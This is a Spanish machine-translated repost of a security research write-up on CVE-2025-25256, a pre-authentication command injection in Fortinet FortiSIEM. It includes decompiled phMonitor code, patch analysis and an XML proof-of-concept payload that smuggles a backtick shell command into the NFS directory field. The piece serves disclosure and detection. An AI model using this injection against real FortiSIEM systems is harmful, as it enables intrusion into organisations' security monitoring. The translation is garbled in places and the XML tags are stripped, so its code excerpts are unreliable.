¿Deberían ser seguras las soluciones de seguridad? Quizás todos estemos equivocados

Summarize this content to 600 words
Es viernes, pero hoy estamos aquí con contenido no programado, empujando nuestras travesuras previamente programadas a la próxima semana.Fortinet no es ajeno al equipo de investigación de WatchToWr Labs. Hoy estamos viendo CVE-2025-25256, una inyección de comando de preautenticación en Fortisiem que permite a un atacante comprometer el SIEM de una organización (!!!).Fortisiem es el SIEM de grado empresarial de Fortinet-Think Real Time Event Correlation, Analytics de estilo UEBA, un CMDB automático, SOAR incorporado y suficiente escala para tragar cualquier cosa, desde implementaciones de nube a borde. Es el tipo de solución de «una plataforma para gobernar su SoC» que creemos (sospechamos, esperamos, imagine, adivina, reza) podría sentirse impresionantemente seguro.Excepto, obviamenteesta vez no lo hizo porque el bar sigue siendo tan increíblemente bajo.También notamos algo interesante en el aviso de Fortinet:»El código práctico de exploit para esta vulnerabilidad se encontró en la naturaleza».Nos han dicho una y otra vez que los atacantes solo logran comprender una vulnerabilidad cuando un horrible investigador de seguridad publica el análisis. Y sin embargo, de alguna manera, estamos viendo primero la explotación en el flujo sin pedir el permiso de la comunidad de seguridad. ¡Extraño!Suspiro. Exasperación.Versiones afectadasSe puede encontrar el aviso de Fortinet aquí y listas CVE-2025-25256 como afectando:

Versión
Afectado
Solución

Fortisiem 7.4
No afectado
No aplicable

Fortisiem 7.3
7.3.0 a 7.3.1
Actualizar a 7.3.2 o superior

Fortisiem 7.2
7.2.0 a 7.2.5
Actualizar a 7.2.6 o superior

Fortisiem 7.1
7.1.0 a 7.1.7
Actualizar a 7.1.8 o superior

Fortisiem 7.0
7.0.0 a 7.0.3
Actualizar a 7.0.4 o superior

Fortisiem 6.7
6.7.0 a 6.7.9
Actualizar a 6.7.10 o superior

Fortisiem 6.6
6.6 Todas las versiones
Migrar a una versión fija

Fortisiem 6.5
6.5 Todas las versiones
Migrar a una versión fija

Fortisiem 6.4
6.4 Todas las versiones
Migrar a una versión fija

Fortisiem 6.3
6.3 Todas las versiones
Migrar a una versión fija

Fortisiem 6.2
6.2 Todas las versiones
Migrar a una versión fija

Fortisiem 6.1
6.1 Todas las versiones
Migrar a una versión fija

Fortisiem 5.4
5.4 Todas las versiones
Migrar a una versión fija

A los fines del análisis actual, estaremos difundiendo las siguientes versiones de Fortisiem para permitirnos perfeccionar el código fijo y reproducir esta vulnerabilidad de inyección de comando:Fortisiem 7.3.1Fortisiem 7.3.2¿Qué tan malo podría ser?Todas las buenas historias comienzan con una pista, y hoy, como punto de partida sobre lo que necesitamos entender, Fortinet PSIRT tuvo la amabilidad de proporcionar la siguiente pista:Entonces, comencemos nuestro análisis buscando ver qué escucha en este puerto, y como se esperaba, parece ser phMonitortcp6 0 0 :::7900 :::* LISTEN 332410/phMonitor
Según el propio de Fortinet documentación, fmmonitor es responsable de monitorear la salud de los procesos Fortisiem:Monitorea la salud de los procesos Fortisiem. Distribuye las tareas de APPSVR a varios procesos en Supervisor y a Phmonitor en trabajadores para una mayor d.Fuimos a buscar «… y brindar a los atacantes oportunidades de RCE en su red» En la documentación, pero sorprendentemente, no estaba allí.Debajo del capó, phMonitor es un binario C ++ que escucha en el puerto 7900, hablando un protocolo RPC personalizado envuelto en TLS. Lo que significa que nuestro viaje comienza exactamente donde la pista de Fortinet nos señaló: al difundir este binario.Como es la tradición en 2025, el Diff fue … perfectamente sustancial – 185 funciones cambiaron. Woohoo!Le ahorraremos el viaje fascinante de pasar 185 funciones, para eventualmente filtrar más de 25 funciones sospechosas y simplemente darle nuestro resultado, una función muy sospechosa que puede haber proporcionado funcionalidad involuntaria:phMonitorProcess::handleStorageArchiveRequest
Fortinet, naturalmente, ha hecho muchos ajustes a esta función, pero hemos sacado la parte que realmente importa. Aquí está el cambio clave, aislado para usted:Como puede ver, Fortinet se basó previamente en ShellCmd::addParaSafe para «desinfectar» dos entradas. En el parche, esto se ha cambiado por dos funciones mucho más específicas:ShellCmd::addHostnameOrIpParamShellCmd::addDiskPathParamResulta que addParaSafe no era exactamente parapero después de todo.Debajo del capó, addParaSafe Simplemente escapó de citas para tratar de evitar que la entrada se rompa de una cadena literal circundante, una defensa débil contra la inyección de comando.Ahora sabemos dónde vive el problema: dentro handleStorageArchiveRequestdesencadenado por valores controlados que (en versiones vulnerables) no estaban siendo desinfectados correctamente.Caminemos por el funcionamiento interno de handleStorageArchiveRequest y las condiciones que deben cumplirse para llegar al punto de inyección.Hemos hecho todo lo posible para eliminar cualquier ruido para que sea más fácil de seguir, pero solo podemos hacer mucho:__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
phMonitorProcess *event_id,
int a2,
unsigned int a3,
void *a4,
const char *a5,
void *a6,
phSockStream *a7)
{

(..SNIP..)

phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
«phMonitorProcess.cpp»,
11547,
128,
(unsigned int)PH_TASK_FAILED,
«Failed to handle storage request: cannot get process»);
goto LABEL_26;
}
v84 = *((_DWORD *)v85 + 260);
if ( (unsigned int)(v84 – 1) > 1 ) // (1) Check if process type is Super (1) or Worker (2)
{
v99 = 303;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
«phMonitorProcess.cpp»,
11558,
128,
(unsigned int)PH_TASK_FAILED,
«handleStorageArchiveRequest can only run on Super or Worker»);
goto LABEL_26;
}
if ( !a6 ) // (2) Check if data was provided
{
**v99 = 304;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(«phMonitorProcess.cpp», 11565, 128, (unsigned int)PH_MONITOR_NOTIFICATION_CMD_EMPTY, v41);
goto LABEL_26;
}
v76 = v115;
v115(0) = &v116;
v115(1) = 0;
v116 = 0;
std::string::_M_replace(v115, 0, 0, a6, v8);
v102 = 0;
v101 = (char *)&`vtable for’phBaseXmlParser + 16;
v103 = (char *)&`vtable for’XmlParserErrorHandler + 16;
v75 = (phBaseXmlParser *)&v101;
v11 = phBaseXmlParser::parseXml((phBaseXmlParser *)&v101, v115(0), v8); // (3) Parse the received XML data
if ( !v11 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(«phMonitorProcess.cpp», 11577, 128, (unsigned int)PH_UNABLE_PARSE_XML, v48);
goto LABEL_90;
}
v12 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v11 + 104LL))(v11);
v13 = v12;
if ( !v12 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(«phMonitorProcess.cpp», 11586, 128, (unsigned int)PH_UNABLE_PARSE_XML, v42);
LABEL_90:
v23 = 0;
goto LABEL_75;
}
v117(1) = 0;
v70 = v117;
v117(0) = &v118;
v118 = 0;
phBaseXmlParser::getNodeValue(v12, «scope», v117); // (4) Extract ‘scope’ element from XML
LOBYTE(is_scope_local) = (unsigned int)std::string::compare(v117, «local») != 0;
Instance = phConfigurations::getInstance((phConfigurations *)v117);
v86 = v134;
std::string::basic_string>(v134, phConstants::PH_CONFIG_MODULE_GLOBAL);

(..SNIP..)

phBaseXmlParser::getNodeValue(v13, «archive_storage_type», &archive_storage_type); // (5) Extract ‘archive_storage_type’ from XML
if ( !(unsigned int)std::string::compare(&archive_storage_type, «hdfs») ) // (6) Check if storage type is HDFS
{
std::string::assign(v153, «hdfs»);
goto LABEL_36;
}
if ( (unsigned int)std::string::compare(&archive_storage_type, «nfs») ) // (7) Check if storage type is NFS
{
v99 = 306;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
«phMonitorProcess.cpp»,
11733,
128,
(unsigned int)PH_MONITOR_STORAGE_TYPE_UNKNOWN,
archive_storage_type);
v23 = 0;
goto LABEL_98;
}
v124 = 0;
v63 = &archive_nfs_server_ip;
archive_nfs_server_ip = v125;
v64 = &archive_nfs_archive_dir;
v125(0) = 0;
archive_nfs_archive_dir = v128;
v127 = 0;
v128(0) = 0;
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, «archive_nfs_server_ip», &archive_nfs_server_ip) != -1 && v124 ) // (8) Extract NFS server IP from XML
{
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, «archive_nfs_archive_dir», &archive_nfs_archive_dir) == -1 // (9) Extract NFS archive directory from XML
|| !v127 )
{
std::string::assign(v113, «archive nfs mount_point missing»);
}
}
else
{
std::string::assign(v113, «archive nfs server_ip missing»);
}
if ( !(unsigned int)std::string::compare(v113, «success») ) // (10) Check if both NFS parameters were successfully extracted
{
std::string::assign(v153, «nfs»);
std::string::_M_assign(v155, &archive_nfs_server_ip);
std::string::_M_assign(v157, &archive_nfs_archive_dir);
std::string::basic_string>(&requested_time, storage_script); // (11) Set script path (/opt/phoenix/deployment/jumpbox/datastore.py)
std::string::basic_string>(&v111, «nfs»); // (12) Set storage type parameter
v50 = «test»;
if ( (_DWORD)event_id != 91 ) // (13) Determine operation type: «test» or «save»
v50 = «save»;
std::string::basic_string>(&v112, v50);
v105.tv_sec = 0;
v105.tv_nsec = 0;
v106 = 0;
v62 = operator new(0x60u);
v105.tv_sec = v62;
v106 = v62 + 96;
v72 = (_QWORD *)v62;
p_requested_time = (void **)&requested_time;
v65 = (__syscall_slong_t)v113;
do
{
*v72 = v72 + 2;
std::string::_M_construct(v72, *p_requested_time, (char *)p_requested_time(1) + (_QWORD)*p_requested_time);
p_requested_time += 4;
v72 += 4;
}
while ( p_requested_time != v113 );
v105.tv_nsec = (__syscall_slong_t)v72;
ShellCmd::ShellCmd(&v129); // (14) Initialize shell command object
std::vector::~vector(&v105);
v87 = (__int64)&requested_time;
v51 = a6;
v52 = v113;
do
{
v52 -= 4;
if ( *v52 != v52 + 2 )
operator delete(*v52);
}
while ( v52 != (void **)&requested_time );
a6 = v51;
LODWORD(v87) = (_DWORD)event_id;
ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip); // (15) Add NFS server IP as parameter
ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir); // (16) Add NFS archive directory as parameter
std::string::basic_string>(v134, » \\t\\r\\n\\v'»);
v71 = v132;
std::string::basic_string>(v132, «archive»);
ShellCmd::addPara(&v129, v132, v134); // (17) Add «archive» parameter
if ( v132(0) != v133 )
operator delete(v132(0));
if ( (_BYTE *)v134(0) != v135 )
operator delete(v134(0));
LOBYTE(requested_time.tv_sec) = 0;
ShellCmd::str(abi:cxx11)(v134, &v129); // (18) Build the complete command string
phMiscUtils::do_system_cancellable( // (19) Execute the system command
v134(0),
(const char *)&requested_time,
(bool *)&dword_0 + 1,
0,
(unsigned int)&v98,
0,
v62);

Para los siguientes, hemos anotado y recorrido las secciones de interés:(1) Primero, la corriente phMonitor comprobaciones de procesos si se está ejecutando en Supervisor o Obrero modo. Fortisiem tiene tres modos:supervisorworkercollector (No se ve afectado aquí, ya que esta función solo se ejecuta para los otros dos)La mayoría de las implementaciones del mundo real se usan Supervisor o Obrero.(2) Validar que a2 no es un puntero nulo. Este es un búfer de montón asignado que contiene los datos que estamos pasando a esta función.(3) Se espera que nuestros datos suministrados sean un XML válido, que se analiza a través de phBaseXmlParser::parseXml.(4) Extraer el Valor del elemento de nuestra entrada XML y verifique si es local.(5) Extraer el valor del elemento.(6) Si el tipo de almacenamiento es hdfsrescatar. Evitamos esta condición.(7) Si el tipo de almacenamiento es nfscontinuar. Nuestro objetivo es satisfacer esta condición.(8) Extracto del XML.(9) Extracto del XML.(10) Asegurar ambos archive_nfs_server_ip y archive_nfs_archive_dir están presentes.(11) Crear un std::basic_string que contiene /opt/phoenix/deployment/jumpbox/datastore.py que se convierte en el primer argumento en el comando que se ejecutará.(12) Establezca el argumento de tipo de almacenamiento en nfs.(13) Establecer la acción de almacenamiento en test o savedependiendo de un PktType campo (90 o 91).(14) Instanciar un ShellCmd::ShellCmd() objeto.(15) Usa el inseguro ShellCmd::addParaSafe Para agregar archive_nfs_server_ip como argumento.(16) Usa el inseguro ShellCmd::addParaSafe de nuevo para agregar archive_nfs_archive_dir.(17) Agregar la cadena literal «archive» Como el argumento final.(18) Construya la cadena de comando final.(19) Ejecutar el comando.Poniendo todo lo anterior, podemos llegar a la ruta de código vulnerable al proporcionar una carga útil XML como esta:
nfs
127.0.0.1
/nfs1
local

Debajo del capó, el siguiente comando se ejecuta en el host Fortisiem como resultado de la carga útil XML anterior:/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive
Y solo por diversión, una representación visual:Poniendo todo juntoSolo por el hecho de ser explícito, aquí hay un ejemplo de una carga útil que escribiría un archivo para /tmp/boom :
nfs
127.0.0.1
`touch${IFS}/tmp/boom`
local

Generador de artefactos de detecciónDado lo simple que es este, y el hecho de que los equipos de seguridad querrán los ojos de inmediato, estamos compartiendo nuestro generador de artefactos de detección hoy. Puedes encontrarlo aquí.

La investigación publicada por WatchToWr Labs es solo un vistazo a los poderes del plataforma WatchToWr – Entrega de pruebas automatizadas y continuas contra el comportamiento real del atacante.

Combinando la inteligencia de amenaza proactiva y la gestión de la superficie de ataque externo en un solo Gestión de exposición preventiva capacidad, el plataforma WatchToWr Ayuda a las organizaciones a reaccionar rápidamente a las amenazas emergentes, y les da lo que más importa: tiempo para responder.

Obtenga acceso temprano a nuestra investigación y comprenda su exposición, con la plataforma WatchToWr
Solicitar una demostración

Enlace de la fuente, haz clic para tener más información

Artículos y alertas de seguridad

Consultar más contenidos y alertas

Alertas y noticias de seguridad de la información

Contacta

Contacta con nosotros para obtener soluciones integrales en IT y seguridad de la información

Estamos encantados de responder cualquier pregunta que puedas tener, y ayudarte a determinar cuáles de nuestros servicios se adaptan mejor a tus necesidades.

Nuestros beneficios:
¿Qué sucede a continuación?
1

Programamos una llamada según tu conveniencia.

2

Realizamos una reunión de descubrimiento y consultoría.

3

Preparamos una propuesta.

Agenda una consulta gratuita